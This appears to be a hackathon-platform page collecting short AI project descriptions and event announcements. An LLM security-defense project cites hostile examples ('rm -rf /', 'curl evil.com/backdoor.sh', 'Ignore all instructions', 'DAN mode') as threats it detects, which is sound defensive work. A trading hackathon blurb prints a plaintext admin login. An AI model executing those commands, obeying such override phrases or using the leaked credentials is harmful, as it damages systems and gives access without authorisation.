Faraz Mubeen Haider@Faraz_Mubeen

An AI-powered interactive web application built with Streamlit that predicts whether a candidate will get placed in a job (or admitted) based on academic performance and other features. The model simplifies decision-making for students, HR teams, and academic advisors by providing data-driven placement predictions. The user inputs academic and background features, including: SSC percentage HSC percentage Degree percentage MBA percentage Work experience Specialization Gender And more Inputs are one-hot encoded for categorical features. A Logistic Regression model (trained offline) is loaded using Pickle. The model outputs a binary prediction: “Placed” or “Not Placed”. The result is displayed on the Streamlit app in a clear, user-friendly format.

The Problem Large Language Models (LLMs) deployed in Security Operations Centers face critical vulnerabilities: 🔴 Command Injection: Malicious commands embedded in logs (rm -rf /, curl evil.com/backdoor.sh) 🔴 Credential Extraction: Jailbreak attempts to leak API keys and system prompts 🔴 Malware Generation: Requests for exploit code disguised as security analysis 🔴 Policy Override: "Ignore all instructions" and "DAN mode" attacks 🔴 SQL Injection: Database manipulation through crafted inputs 🔴 Phishing Generation: Social engineering content creation Our Solution Constitutional AI provides a production-ready defense layer with: ✅ 24 Constitutional Security Rules - Comprehensive threat coverage ✅ Real-Time Detection - <50ms regex-based pattern matching ✅ Side-by-Side Comparison - Vulnerable vs. protected responses ✅ Multi-Dataset Testing - JailbreakBench, LLMail-Inject, SOC Synthetic ✅ PDF Report Generation - Comprehensive audit documentation ✅ Streaming Inference - Cerebras Cloud SDK for real-time analysis ✅ Demo Mode - Realistic metrics without API calls

Agentica is a next-generation AI multi-agent orchestration platform designed to revolutionize how businesses and individuals interact with technology. Unlike single-purpose chatbots, Agentica deploys specialized AI agents—each with unique memory, roles, and goals—that collaborate autonomously like a virtual remote team. From fraud detection and phishing protection to customer support, workflow automation, and real-time communication, Agentica transforms complex processes into seamless, intelligent operations. Its modular design allows integration with APIs, AI models, and enterprise tools, making it scalable across industries such as healthcare, finance, and education. With Agentica, organizations gain efficiency, security, and innovation, unlocking the full potential of agentic AI to reshape the future of digital collaboration.

HealthBridge is an intelligent healthtech platform designed to revolutionize access to medical consultations. It allows certified doctors from around the world to create detailed profiles showcasing their specializations, availability, pricing, and certifications. Patients can search for doctors based on symptoms and location, and consult with them either virtually or in-person. Leveraging LLaMA for symptom understanding, multilingual translation, and patient-doctor interaction, and Groq for real-time AI inference, HealthBridge ensures lightning-fast and accurate responses. Features include AI symptom checkers, doctor filtering by budget and expertise, secure video consultations, and voice/text accessibility. It's a bridge between care and convenience for patients globally.

Manual processes, delays, and siloed information hinder efficient customs clearance, posing challenges to trade facilitation, compliance, and security. Effectively identifying high-risk shipments and sharing critical information across relevant government agencies like Bureu of Standards, Ministry of Health, and Police is a significant hurdle.Zimulikizi is an AI-powered multi-agent system designed to automate and intelligentize this process. It acts as a smart layer within customs import operations. The system is built with a multi-agent architecture where different agents specialize in key tasks.It begins by ingesting raw import data and associated documents (like invoices, permits, manifests) from sources akin to the Tax system. This data is then processed by agents leveraging advanced AI/ML models. Vision AI is used for document analysis, takes tasks like Optical Character Recognition (OCR), identifying and verifying stamps or seals, and extracting data from document images. Natural Language Processing (NLP) agents extract structured information from text fields and descriptions. Machine Learning models analyze the consolidated data to calculate a sophisticated risk score for each consignment and detect anomalies that might indicate non-compliance or security threats.Based on this comprehensive AI-driven analysis, an intelligent Routing Agent automatically determines which specific government agencies have a regulatory interest in that particular shipment. It then prepares and dispatches tailored information packets – containing only the data relevant to that agency's mandate e.g,health-related details of Health Dep, standards compliance info for BS, risk and importer data for Police).Automated processing delivers: accelerated low-risk shipment clearance high-risk inspections; real-time agency coordination . detection of misdeclarations, undervaluation, prohibited goods; and prevention of dangerous/illegal imports—enhancing efficiency, compliance, and security.

KONEKTA is an AI-driven digital connectivity platform designed to optimize resource allocation, enhance bandwidth efficiency, and provide smart knowledge discovery for underserved communities. 🔹 AI-Powered Smart Matching: NLP-driven recommendations connect educators, healthcare workers, and policymakers with the right resources and expertise. 🔹 Low-Bandwidth Optimization: Uses edge caching, PWA support, and lightweight AI models to enable offline-first access in poorly connected areas. 🔹 Energy-Efficient Network AI: Dynamically optimizes power consumption and bandwidth allocation, ensuring sustainable connectivity. 🔹 Public Sector Scalability: Enables schools, hospitals, and government institutions to deploy AI-powered digital services efficiently. KONEKTA’s real-time heatmaps and AI-driven analytics help visualize network utilization, ensuring seamless digital service delivery, even in constrained environments. 🚀

AdvancedLeadsGeneration-AI goes beyond existing lead generation solutions by introducing AI-driven agent discussions that critically evaluate potential clients. Unlike traditional systems that rely on predefined scoring models or simple CRM-based analytics, this solution simulates real-world business negotiations. Two AI agents engage in dynamic debates—one advocating for a lead while the other raises potential concerns—ensuring a comprehensive and unbiased assessment. What makes this project a crucial asset for lead generation is its ability to go a step further: it doesn’t just identify potential clients but actively discusses and judges businesses based on a company's specific sales strategy and historical data. By analyzing past successful deals and client interactions, the system refines its decision-making process, aligning lead evaluation with actual business goals. Built with Next.js, FastAPI, and IBM Watson AI, this solution seamlessly integrates with existing sales pipelines, offering a scalable, automated, and intelligent approach to lead qualification. This innovation not only saves time but also optimizes sales efforts, improves conversion rates, and enhances business decision-making with AI-driven insights.

Code Editor Extension Features The Code Editor Extension enhances coding by integrating an AI-powered chatbot, reducing context switching and improving workflow. Core Features 1. Chatbot Integration - Built-in AI chatbot provides instant assistance within the editor. 2. Context Awareness - Uses embeddings and vector databases for relevant responses. 3. Actions & Automation - Apply AI-suggested code changes with one click, execute terminal commands. Future Scope Context Aware Features 1. Git Integration - Enables natural language interaction, commit suggestions. 2. Internet Integration - Real-time access to documentation, Stack Overflow support. 3. Persistent Memory - Retains memory across sessions, recalls previous queries. 4. Codebase Database Connection - Intelligent query generation, AI-driven database insights. Editor Features 1. Auto Completion - Smart suggestions, reduces syntax errors. 2. Interactive Text Selection - Direct chat and editing on selected code. Documentation Features 1. Code Explainer - Visualizes codebases, auto-generates documentation. 2. AI Tutorial Generator - Creates project-specific tutorials. 3. Podcast Generation - Converts documentation into audio format. Advanced Features 1. Mobile Assistant - Voice interaction with the editor. 2. LLM Debugger - AI-driven issue identification and fixes. 3. Computer Automation - Automates code execution, system interactions. 4. Optimization Features - Multi-AI model support for performance tuning. Target Audience Developers & Teams – AI-assisted coding and collaboration. Maintainers – Code understanding and documentation. Tech Professionals – AI-driven optimization and workflow improvement. This extension revolutionizes coding, making development more efficient and streamlined.

An intelligent search and summarization tool Simplifies information retrieval Uses AI to fetch, summarize, and present research data , This tool enhances the user experience by providing real-time, personalized space data.Natural Language Processing (NLP) Answers questions like “Where is the ISS?” in simple language. Space Image Recognition Identifies celestial bodies in user-uploaded images. Personalized Recommendations Suggests stargazing dates and astronomical events. This tool enhances the user experience by providing real-time, personalized space data. / An intelligent search and summarization tool

🌍 Hybrid Hackathon | 💻 Online Build: May 25–30,2026 | 📍 SF Onsite Finale: May 30–31,2026 We’ve unlocked the web for your AI. Now build what wasn’t possible before. Build AI agents with live web data, then join the SF onsite finale at Bright Data’s new Web Data Loft. 🚀 The onsite experience will take place during the opening of Bright Data’s new SF space, The Web Data Loft. 📍 On-site Venue (May 30–31): The Web Data Loft 625 2nd St, San Francisco, CA 🏆 $18,300 cash prize + Bright Data AI Startup Program opportunities 🍕 Free food, drinks, networking, workshops, mentorship, and live demos 🎁 Onsite attendees are automatically entered into a live giveaway for 4 × $100 Amazon gift cards. 🧑‍💻 Apply now to build AI agents powered by real-time web access.

Grab your ideas, spin up compute, and start building what’s next! Start with $100 in AMD Developer Cloud credits and begin building right away. Get access to hands-on tutorials, workshops, and curated learning resources to help you build faster and go further. To unlock credits and join the hackathon, sign up for the AMD AI Developer Program. 🤝 Go solo or team up — ship something real. 💰 $21,500+ total prize pool & 1 × AMD Radeon™ AI PRO R9700 GPU up for grabs. 📍 On-site Venue (May 9-10): MindsDB SF AI Collective 3154 17th St, San Francisco, California, USA 📍On-site participation is by invitation only. Travel and accommodation expenses will not be covered. 🧑‍💻 Developers, builders, and innovators - bring your boldest ideas and let’s turn them into real AI systems on AMD.

⏱️ Design, build, and deploy trustless AI trading agents. 📅 March 30 – April 12, 2026 🌐 Build AI trading agents that execute strategies using ERC-8004 or Kraken CLI. 🤝 Build solo or in teams to create autonomous trading, risk, yield, or protection agents. 💰 $55,000 prize pool, allocated and shared via Surge and Kraken. Your team should have registered project at early.surge.xyz in order to be eligible for the prize. Get access in your team profile or our discord 🔑 Access to early.surge.xyz If prompted for login credentials, use: • Username: admin • Password: JBRv2xWG7AzwVrLz88

Teams work together with multiple AI agents in shared workspaces to design, build, and launch complete AI products — from initial idea to market-ready app. 📅 February 23– March 1, 2026 ⏱️ 6 days to build and ship an end-to-end agentic AI product 🤝 Work together in shared AI workspaces where your team and AI agents collaborate in real time 🔧 Build with multiple AI agents that handle development, design, testing, and documentation together 🎯 Create everything in one place — from ideation to product to marketing materials, all by prompting and observing 🚀 Focus on real-world products that teams could actually ship and use 🏆 $3,500 in prizes + premium 3-month Complete.dev access for top teams 🧑‍💻 Join your team workspace and start building together